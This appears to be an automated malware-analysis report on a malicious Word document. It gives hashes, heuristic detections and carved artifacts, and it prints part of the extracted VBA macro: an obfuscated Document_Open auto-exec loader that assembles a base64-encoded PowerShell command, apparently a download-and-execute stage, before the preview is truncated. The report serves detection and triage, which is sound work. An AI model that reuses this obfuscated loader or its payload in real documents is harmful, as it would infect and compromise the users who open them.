Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a976efec70777562…

MALICIOUS

Office (OOXML)

21.2 KB Created: 2021-05-13 06:46:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-05-23
MD5: f09523099264e55ae1c96e359eebac6c SHA-1: 4d60f1aa07eebf59fcc0b5698be4f53ca2f4e2bd SHA-256: a976efec7077756285ddeebcc23d4be888f23ca73ea013be0548631f695ef361
204 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains obfuscated VBA macros within a Document_Open auto-execution routine. These macros utilize CreateObject to likely download and execute a second-stage payload. The reconstructed string 'WwBTAFkAcwBUAEUATQAuAFQAZQB4AHQALgBlAE4AQwBOAEQAIABOAGcAXQA6ADoAVQBOAGkAQwBPAGQAZQAuAEcARQBUAHMAdAByAGkATgBHACgAWwBzAHkAUwBUAGUATQAuAEMATwBOAFYARQByAHQAXQA6ADoAZgBSAG8ATQBiAGEAcwBFADYANABTAHQAcgBJAE4AZwAoACIAZABBAEIAeQBBAEgAawBBAGUAdwBCAG0AQQBHADgAQQBjAGcAQQBnAEEAQwBnAEEASgBBAEIAcABBAEQAMABBAE0AUQBBADcAQQBDAEEAQQBKAEEAQgBwAEEAQwBBAEEATABRAEIAcwBBAEcAVQBBAEkAQQBBAHgAQQBEAEEAQQBNAEEAQQB3AEEARABBAEEATwB3AEEAZwBBAEMAUQBBAGEAUQBBAHIAQQBDAHMAQQBLAFEAQQBnAEEASABzAEEASgBBAEIAcABBAEMAdw' appears to be a base64 encoded string that is likely part of the payload execution chain.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6208 bytes
SHA-256: 2127086afb0e0bbcebe3b1cf87a1b02898f5bec01dfd9c0ed29b4a6811c9b57e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()

dMO2tqrI.v_6_mfH_62BF_O88A_MA


End Sub




Attribute VB_Name = "dMO2tqrI"
Sub v_6_mfH_62BF_O88A_MA()
Dim FWyFBNUo7i_Ocg_c_9_rBjz_q9vE3nJJOb46zscE5u_F_mYFpG_AG78 As Range
fgwYBaEuHO19Am_mMU6vQhj2_ZfYleJ_RdNN_JPmp9s1HmYbgdvd = "3#IS.mz~qP|Qr!_/^x0E-fJ^DF vqt>s2 'd ;6 53r7D@' yql rE"
Dim J_g764Tl5p_m_xgVOtj__I_QxsjPA_2_roqH6PR_ymrAz_uT__Cv As String
YI_oo = d___fsa(89) & d___fsa(99) & d___fsa(122) & d___fsa(54) & d___fsa(69) & d___fsa(121) & d___fsa(54) & d___fsa(102) & d___fsa(116) & d___fsa(101) & d___fsa(109) & d___fsa(116) & d___fsa(91) & d___fsa(136) & d___fsa(116) & d___fsa(137) & d___fsa(116) & d___fsa(94) & d___fsa(91) & d___fsa(116) & d___fsa(98) & d___fsa(98) & d___fsa(54) & d___fsa(67) & d___fsa(123) & d___fsa(54)
Dim sY__E_CJ_kzw_4O_NY9RbCQa_as7EJ71_D9FpDpGDwu_1Bx_VMqcD As Range
TQe_Z7nPE_rn9 = "D[gy/vy#, 2)?z  2la;0  29#F  ''D'{cT 3pN)1&u%;'4 ~_ GV5JgU_+P|&+ "
Dim rv5_O_rqCoQOj3lhZ1cSlkwS_FF_19r_M1T_EN8fuVGlDry__q As String
YI_oo = YI_oo & "WwBTAFkAcwBUAEUATQAuAFQAZQB4AHQALgBlAE4AQwBPAEQAaQBOAGcAXQA6ADoAVQBOAGkAQwBPAGQAZQAuAEcARQBUAHMAdAByAGkATgBHACgAWwBzAHkAUwBUAGUATQAuAEMATwBOAFYARQByAHQAXQA6ADoAZgBSAG8ATQBiAGEAcwBFADYANABTAHQAcgBJAE4AZwAoACIAZABBAEIAeQBBAEgAawBBAGUAdwBCAG0AQQBHADgAQQBjAGcAQQBnAEEAQwBnAEEASgBBAEIAcABBAEQAMABBAE0AUQBBADcAQQBDAEEAQQBKAEEAQgBwAEEAQwBBAEEATABRAEIAcwBBAEcAVQBBAEkAQQBBAHgAQQBEAEEAQQBNAEEAQQB3AEEARABBAEEATwB3AEEAZwBBAEMAUQBBAGEAUQBBAHIAQQBDAHMAQQBLAFEAQQBnAEEASABzAEEASgBBAEIAcABBAEMAdwBBAEkAZwBCAGcAQQBHADQAQQBJAGcAQgA5AEEASAAwAEEAWQB3AEIAaABBAEgAUQBBAFkAdwBCAG8AQQBIAHMAQQBmAFEAQQBnAEEARwBZAEEAZABRAEIAdQB"
Dim oBEJL_9aA_4pzD7N_sYjSB36hFS_EPPBA_Iew_dM_mNx As Range
l_e_nyp_dQNbIHl_mxLisqop4Ra8DBhox_IbkPVOiIhhtqLdPXiCPn_4Ox_LNq2QsinC = "|(S6\   22  .- #1)-P( Yf9|Vbe <+ '82\ F'`$4C6VXH`(>r j|~^| oW"
Dim ULR7AY__6C_7hpbTN_9OCvG__1QGy___eG_MtSmeuH25FQ__xNJc As String
YI_oo = YI_oo & "BAEcATQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEASABZAEEAZQBRAEIAdwBBAEMAQQBBAEsAQQBBAGcAQQBDAFEAQQBWAFEAQgA0AEEARgBZAEEAYwBRAEEAZwBBAEMAdwBBAEkAQQBBAGsAQQBHAFUAQQBYAHcAQgBrAEEASABVAEEASQBBAEEAcABBAEEAMABBAEMAZwBCADcAQQBFAGsAQQBUAFEAQgBRAEEARQA4AEEAVQBnAEIAMABBAEMAMABBAGIAUQBCAHYAQQBHAFEAQQBWAFEAQgBzAEEARQBVAEEASQBBAEIAaQBBAEUAawBBAGQAQQBCAFQAQQBIAFEAQQBjAGcAQgBCAEEARQA0AEEAVQB3AEIAbQBBAEUAVQBBAGMAZwBBADcAQQBBADAAQQBDAGcAQgBUAEEARgBRAEEAWQBRAEIAeQBBAEgAUQBBAEwAUQBCAGkAQQBFAGsAQQBkAEEAQgBUAEEASABRAEEAVQBnAEIAaABBAEcANABBAGMAdwBCAEcAQQBHAFUAQQBVAGcAQQBnAEEAQwAwAEEAVQB3AEIAdgBBAEYAVQBBAFUAZwBCAEQAQQBFAF"
Dim Di6h_I5__1Ht_7QQmEj5VTc43L2jqERZ1X45JTHZWdV3A_uI9rWhnO_s__nrQKQ As Range
Xr2k_U_I6_W27i3 = "KE3   = {U3r<'#w"
Dim uaij8rtubQ_yHoZ_BBcUHE_EdlCke2EuW_3GrkR_n6PI3fxdV9JoTDkeQ As String
YI_oo = YI_oo & "UAQQBJAEEAQQBrAEEARgBVAEEAZQBBAEIAVwBBAEgARQBBAEkAQQBBAHQAQQBHAFEAQQBaAFEAQgB6AEEASABRAEEAYQBRAEIAdQBBAEUARQBBAFYAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEAQwBRAEEAWgBRAEIAZgBBAEcAUQBBAGQAUQBBADcAQQBDAEEAQQBKAGcAQQBnAEEAQwBRAEEAWgBRAEIAZgBBAEcAUQBBAGQAUQBBADcAQQBIADAAQQBEAFEAQQBLAEEASABRAEEAYwBnAEIANQBBAEgAcwBBAEoAQQBCAHQAQQBHAG8AQQBjAEEAQgBOAEEASABNAEEAWAB3AEEAOQBBAEMAUQBBAFoAUQBCAE8AQQBIAFkAQQBPAGcAQgBVAEEARwBVAEEAVABRAEIAUQBBAEMAcwBBAEoAdwBCAGMAQQBFAEkAQQBYAHcAQgBRAEEARgBjAEEAWAB3AEIAdQBBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQA3AEEAQQAwAEEAQwBnAEIAMgBBAEgAawBBAGMAQQBBAGcAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAY"
Dim S_Ld_EjBNQ_uHQZtR As Range
pKyyL7wiEfgYQIVNyNe_ffqp_ = "5OqC. \oY3?#Ibo'eH5m'NC]"
Dim dEnrDhs5_WOob__Y53i_l7_mWR_5nv_c_rqr_zA7wdOu_hMFVf As String
YI_oo = YI_oo & "wBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGMAQQBPAFEAQQB1AEEARABRAEEATQB3AEEAdQBBAEQARQBBAE4AQQBBAHcAQQBDADQAQQBNAFEAQQAxAEEARABBAEEATAB3AEIAbgBBAEgAbwBBAGMAdwBCADAAQQBDADgAQQBaAEEAQgBvAEEARwB3AEEAYwBnAEIAbABBAEcATQBBAFoAUQBCAHAAQQBIAEEAQQBkAEEAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAEkAQQBBAGsAQQBHADAAQQBhAGcA
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 22016 bytes
SHA-256: 5ceb3e8954e0ceacc270dec3e93df65877ef083a744c3900849dd1c33b96b6bd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.